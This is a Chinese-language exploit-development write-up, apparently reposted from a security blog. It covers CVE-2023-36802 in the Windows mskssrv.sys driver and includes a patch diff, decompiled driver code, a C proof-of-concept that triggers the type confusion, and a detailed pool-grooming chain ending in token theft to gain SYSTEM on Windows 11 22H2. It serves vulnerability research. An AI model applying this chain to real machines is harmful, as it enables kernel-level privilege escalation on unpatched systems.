旧漏洞,新规则:不用捷径拿下 CVE-2023-36802
幻泉之洲
2026年6月29日 10:17
北京
在小说阅读器读本章
去阅读
CVE-2023-36802 是微软流服务代理驱动 mskssrv.sys 的类型混淆漏洞。大多数公开分析都写于微软封堵常见攻击路径之前。这篇文章写于那些缓解措施生效之后——不靠 NtQuery 系列 API 泄露内核地址,也不靠 PreviousMode 做任意读写。全部利用路径都在当前 Windows 11 22H2 环境下完成,每一步都有数据支撑。如果你看过旧文章,漏洞分析部分会很熟悉,但利用方式完全不同。
补丁对比:多了一个 TypeId 检查
先把补丁前后的代码摆出来。左边是漏洞版本 22621.1848,右边是修补后的 22621.2283。
// FSRendezvousServer::FindObject (vulnerable)
+ // FSRendezvousServer::FindStreamObject (patched)
targetObject\_1 = targetObject;
- server = this;
+ this\_1 = this;
- if ( targetObject )
+ if ( targetObject && targetObject->TypeId == 2 )
{
- if ( targetObject->TypeId == 1 )
- {
- contextListHead = &this->ContextList.ListHead;
- contextFirst = (struct FSRendezvousServer \)this->ContextList.ListHead.Flink;
- if ( contextFirst != (struct FSRendezvousServer \)&this->ContextList.ListHead )
- this->ContextList.Iterator = contextFirst;
- while ( 1 )
- {
- Iterator = (const struct FSRegObject \\)server->ContextList.Iterator;
- if ( !Iterator
- || contextListHead->Flink == contextListHead
- || Iterator == (const struct FSRegObject \\)contextListHead )
- {
- break;
- }
- if ( Iterator != (const struct FSRegObject \\)8 && Iterator[3] == targetObject\_1 )
- return 1;
- FSRegObjectList::MoveNext(&server->ContextList);
- }
- }
- else
- {
p\_ListHead = &this->StreamList.ListHead;
- streamFirst = (struct FSRendezvousServer \)this->StreamList.ListHead.Flink;
- if ( streamFirst != (struct FSRendezvousServer \)&this->StreamList.ListHead )
+ Iterator\_1 = (struct FSRendezvousServer \)this->StreamList.ListHead.Flink;
+ if ( Iterator\_1 != (struct FSRendezvousServer \)&this->StreamList.ListHead )
this->StreamList.Iterator = Iterator\_1;
while ( 1 )
{
- contextCurrent = (const struct FSRegObject \\)server->StreamList.Iterator;
- if ( !contextCurrent
+ Iterator = (const struct FSRegObject \\)this\_1->StreamList.Iterator;
+ if ( !Iterator
|| p\_ListHead->Flink == p\_ListHead
- || contextCurrent == (const struct FSRegObject \\)p\_ListHead )
+ || Iterator == (const struct FSRegObject \\)p\_ListHead )
{
break;
}
- if ( contextCurrent != (const struct FSRegObject \\)8 && contextCurrent[3] == targetObject\_1 )
+ if ( Iterator != (const struct FSRegObject \\)8 && Iterator[3] == targetObject\_1 )
return 1;
- FSRegObjectList::MoveNext(&server->StreamList);
+ FSRegObjectList::MoveNext(&this\_1->StreamList);
}
- }
}
return 0;
补丁把函数名从 FindObject 改成 FindStreamObject,并加了一个硬性条件:targetObject->TypeId == 2。之前可以同时搜 ContextList 和 StreamList,现在只认 TypeId 为 2 的 FSStreamReg 对象。FSContextReg(TypeId 为 1)直接就被拒了。整个 ContextList 搜索分支被连根删掉。
为什么要这么改?往下看你就会明白。
两种对象,两种大小
逆向 mskssrv.sys,找到两个初始化函数。
第一个是 FSRendezvousServer::InitializeStream。它用池标签 SreG 分配一个 0x1D8 大小的块,再调用 FSStreamReg::FSStreamReg 构造函数,把 TypeId 置为 2,对象大小记为 472 字节(0x1D8)。
\\_int64 \\_fastcall FSRendezvousServer::InitializeStream(struct FSRendezvousServer \this, struct FS\_IRP \irp)
{
...
rawAlloc = (FSStreamReg \*)ExAllocatePool2(POOL\_FLAG\_NON\_PAGED, 0x1D8, 'GerS');
if (rawAlloc) {
FSStreamReg::FSStreamReg(rawAlloc); // TypeId = 2
}
...
}
// 构造函数内
this->TypeId = 2;
this->ObjectSize = 472;
第二个是 FSRendezvousServer::InitializeContext。它用标签 CreG 分配 0x78 大小,初始化一个 FSContextReg,TypeId 为 1。
rawAlloc->TypeId = 1;
rawAlloc->ObjectSize = 0x78;
两个对象大小不同,TypeId 也不同。在 SrvDispatchIoControl 里,不同的 IOCTL 码对应不同的处理函数:
- 0x2F0400 InitializeContext → 创建 FSContextReg(TypeId=1, 0x78 字节)
- 0x2F0404 InitializeStream → 创建 FSStreamReg(TypeId=2, 0x1D8 字节)
- 0x2F0408 PublishTx
- 0x2F040C PublishRx
- 0x2F0410 ConsumeTx
- 0x2F0414 ConsumeRx
后四个操作全部调用 FindObject 来验证 FsContext2 中的对象,然后强制转型为 FSStreamReg 并调用对应方法。如果 FsContext2 里实际存的是 FSContextReg,类型就乱了。
触发漏洞
触发很简单。先通过 IOCTL 0x2F0400 创建一个 FSContextReg 对象,再调用任意一个 PublishTx/PublishRx/ConsumeTx/ConsumeRx 就行。精简后的 PoC 长这样:
include
include
define DEVICE\_NAME L\"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}\"
define IOCTL\_PUBLISH\_TX 0x2F0408
define IOCTL\_INIT\_CONTEXT 0x2F0400
int main()
{
HANDLE hDevice = CreateFileW(DEVICE\_NAME, GENERIC\_READ | GENERIC\_WRITE, 0, NULL, OPEN\_EXISTING, FILE\_ATTRIBUTE\_NORMAL, NULL);
if (hDevice == INVALID\_HANDLE\_VALUE) {
printf(\"[-] Open failed: %lu\
\", GetLastError());
return 1;
}
char buf[0x100] = {0};
\(uint32\_t \)(buf + 0x00) = 1; /\ Flags (bit 0 set) \/
\(uint64\_t \)(buf + 0x08) = (uint64\_t)GetCurrentProcessId(); /\ ProcessId \/
\(uint64\_t \)(buf + 0x10) = 0x4141414141414141ULL; /\ ContextKey \/
\(uint64\_t \)(buf + 0x18) = 0; /\ EventHandle = NULL \/
DWORD bytesReturned;
if (!DeviceIoControl(hDevice, IOCTL\_INIT\_CONTEXT, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL)) {
printf(\"[-] Failed to send IOCTL\_INIT\_CONTEXT: %lu\
\", GetLastError());
CloseHandle(hDevice);
return 1;
}
printf(\"[+] IOCTL\_INIT\_CONTEXT sent successfully!\
\");
memset(buf, 0, sizeof(buf));
\(uint32\_t \)(buf + 0x20) = 1; /\ Capacity \/
\(uint32\_t \)(buf + 0x24) = 1; /\ Count \/
if (DeviceIoControl(hDevice, IOCTL\_PUBLISH\_TX, buf, sizeof(buf), buf, sizeof(buf), &bytesReturned, NULL))
printf(\"[+] PublishTX OK\
\");
CloseHandle(hDevice);
return 0;
}
补丁就是瞅准了这个类型混淆,一刀切掉 ContextList 的检索,只认 TypeId == 2。
我们手里有什么原语
在进入最终利用路径之前,得先把已有的读写能力摸清楚。
泄漏原语
漏洞函数 FSRendezvousServer::ConsumeTx 里,会对流对象调用 FSStreamReg::GetStats,然后把数据拷到 irp->AssociatedIrp.SystemBuffer。
void \_\_fastcall FSStreamReg::GetStats(struct FSStreamReg \this, char \system\_buff)
{
if ( system\_buff )
{
\(\_QWORD \)system\_buff = \(\_QWORD \)this->PendingFrames.Pad3;
\((\_QWORD \)system\_buff + 1) = \(\_QWORD \)this->CompletedFrames.Pad3;
\((\_DWORD \)system\_buff + 4) = this->PendingFrames.Count;
\((\_DWORD \)system\_buff + 5) = this->CompletedFrames.Count;
}
}
偏移 0x128、0x138、0x1a0、0x1b0 的数据会被读出来。因为 FSContextReg 只有 0x78 字节,它会落在 LFH 0x90 桶里。所以漏洞对象只会跟同样 0x90 大小的块相邻。通过堆喷和布局,我们能从越界区域读到 NpFr2->Flink(NPFS 数据条目链表指针),这就拿到了内核地址。
沿着 Flink 还能继续读到同一 CCB 下的下一个 NpFr 条目,只要它们属于同一个连接上下文。
任意递减原语
看 FSStreamReg::PublishRx 的内部逻辑:
if ( Iterator->MatchId == (void \)\((\_QWORD \)frameInfo + 17 \ i + 6) )
{
Field\_C8 = (int)Iterator->Field\_C8;
FSFrameMdl::UnmapPages(Iterator);
if ( Field\_C8 )
{
ObfDereferenceObject(this->InitProcess);
ObfDereferenceObject(this->Reserved2); // 这里可以做任意递减
}
v5 = 1;
}
如果能控制 this->Reserved2 的指向,ObfDereferenceObject 就会对它指向的地址做一次指针引用计数递减。注意,要走到这条路径,需要先让外层循环匹配到一个伪造的 FSFrameMdlEntry,而且还要绕过 KeSetEvent 避免崩溃。我的做法是:在用户态分配一页,放一个自引用的链表项,让 PublishRx 在另一个线程里一直循环,不触发事件信号。
写 DWORD 2 原语
同样在 PublishRx 里,FSFrameMdl::UnmapPages 会把 this->Field_10 写成 2。控制 this->Field_10,就能往一个受控地址写入常量 2。
LODWORD(this->Field\_C8) = 0;
LODWORD(this->Field\_10) = 2; // 任意写 dword 2
但这个函数前面还有 MmUnmapLockedPages,如果 this+0xa0 和 this+0xa8 非零,就会先调用它。由于我们操控的是 0x90 桶里的相邻块,偏移 0xa0 会跨到下一个 chunk 里,控制不了就必然蓝屏。试了一圈,零化掉下一块的前 0x10 字节太不可靠。调试时也发现 [rcx+20h] 的校验会碰到 IRP 相关字段,这个写原语基本不能用。
所以写 DWORD 2 的路走不通,真正能用的是递减原语。
用递减原语破坏 Flink
递减原语作用于 &Flink + 1,会使指针整体向低地址退 0x100。只要我们提前把前一个 chunk 布置好伪造的 DQE(数据队列条目),递减后新指针就能落入我们的可控区域。
但 ObDereferenceObject 内部会检查对象头,具体来说 mov rcx, [rsi-28h] 会读到 [&Flink + 9],如果这个字节不符合引用计数的安全范围,直接 BugCheck。如何绕过?让前一个条目的地址页对齐(低 12 位为 0)。
问题来了:当前堆布局里,前一个条目也是 0x90 的 NpFr,不是页对齐的。解决办法是用 CancelIoEx() 调用到 NpCancelDataQueueIrp(),把中间的 0x90 NpFr1 取消掉。这样链表里 NpFr2->Blink 就会指回 &NpFr0->Flink,而 NpFr0 是 0x1000 大小的 NPFS 对象,首地址页对齐。
然后布置堆:先喷一堆 0x1000 的 NpFr 块,挖洞,再做泄漏布局。每一个 0x1000 块在偏移 0xed0 处预先填好用户态的伪造 DQE 地址。递减触发后,NpFr2->Flink 就指向这个伪造地址,NPFS 遍历队列时会进入我们控制的 DQE。
任意读、任意写
到了这一步,后续思路就参考了 vp777 公开的技术[1]。
在该伪造 DQE 里标记为 Unbuffered 模式,把它的伪造 IRP 的 AssociatedIrp.SystemBuffer 指向目标内核地址,然后调用 PeekNamedPipe。NPFS 处理被破坏的队列时,会把那个内核地址的数据当成数据源,拷贝 DataSize 字节到用户缓冲区。任意读到手。
利用读原语把真实 DQE 和 IRP 的地址也读回来。有了内核态 IRP 地址,就造一个内核假 IRP,通过 IofCompleteRequest 让 NPFS 完成它。完成路径会做缓冲 I/O 回拷,控制 SystemBuffer、UserBuffer 和 IoStatus.Information 就能实现任意写。
定位 EPROCESS
任意读拿到后,第一件事是从损坏的管道队列里找出真正的 IRP。读取 NpFr2 DQE 的 IRP 指针,再从 IRP->Tail.Overlay.Thread 找到 ETHREAD。Windows 11 22H2 下,_KTHREAD.Process 在偏移 0x220。于是整条链路:
NpFr2 DQE
-> IRP
-> IRP->Tail.Overlay.Thread
-> ETHREAD
-> KTHREAD.Process
-> 当前 EPROCESS
拿到当前进程 EPROCESS 后,遍历 ActiveProcessLinks 找到 PID 4(SYSTEM),提取它的 EPROCESS。
提权到 SYSTEM
Windows 11 22H2 上,Token 字段在 _EPROCESS + 0x4b8。读一下 SYSTEM 进程的 Token 值,用任意写原语写进当前进程的同一偏移。写完之后,当前进程的主令牌就变成 SYSTEM。
到此,利用结束。全程没用一个 NtQuery* 接口,也没碰 PreviousMode。
写在最后
这个漏洞本身不新鲜,但我做的时候被明确要求不能走老路——没有内核地址泄露捷径,没有方便好用的 PreviousMode。逼着从混乱的堆布局里拼出一条路来,整个过程反复调试、崩溃、调整,再崩溃、再调整。说实话,递减原语那条路如果不是对 CancelIoEx 的副作用足够了解,很容易直接放弃。
感谢我的导师 Dang Nguyen(@MochiNishimiya, https://x.com/MochiNishimiya)。他给了我一个被充分记录的老漏洞,却拿掉了所有现成答案,逼我挖出一条新路。
参考资料:
1. KASLR 泄露限制:https://windows-internals.com/kaslr-leaks-restriction/
2. PreviousMode 利用变迁:https://blog.vmcall.io/blog/2025-04-05-porting-to-24H2/
3. PreviousMode 串行实验:https://owl-a.github.io/windows%2011/2025/02/19/Serial-Experiments-PreviousMode/
4. IBM X-Force 对 CVE-2023-36802 的分析:https://www.ibm.com/think/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service
5. Google Project Zero 的 0day 复盘:https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-36802.html
6. THEORI 的提权链分析:https://theori.io/blog/chaining-n-days-to-compromise-all-part-6-windows-kernel-lpe-get-system
7. vp777 的非分页池溢出利用:https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation
8. Windows 11 22H2 IRP 结构:https://www.vergiliusproject.com/kernels/x64/windows-11/22h2/\_IRP
9. IRP.Tail.Overlay.Thread 文档:https://ntdoc.m417z.com/irp#tail-overlay-thread
参考资料
[1] https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation
[2] https://starlabs.sg/blog/2026/06-old-bug-harder-rules-exploiting-cve-2023-36802-without-the-usual-shortcuts/
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论